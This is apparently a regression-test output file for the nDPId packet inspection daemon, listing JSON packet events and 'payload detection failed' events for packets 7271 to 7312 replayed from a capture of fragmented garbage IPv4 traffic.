+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690051,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690065,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690080,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690094,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690109,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690124,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690141,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690155,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690169,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690218,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690234,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690248,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690262,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690276,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690290,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690305,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690318,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690333,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690347,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690361,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690375,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690390,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690404,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690418,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690441,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690456,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690470,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690484,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690499,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690514,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690528,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690542,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690557,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690571,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690585,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690599,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690612,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690640,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690655,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690669,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690683,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 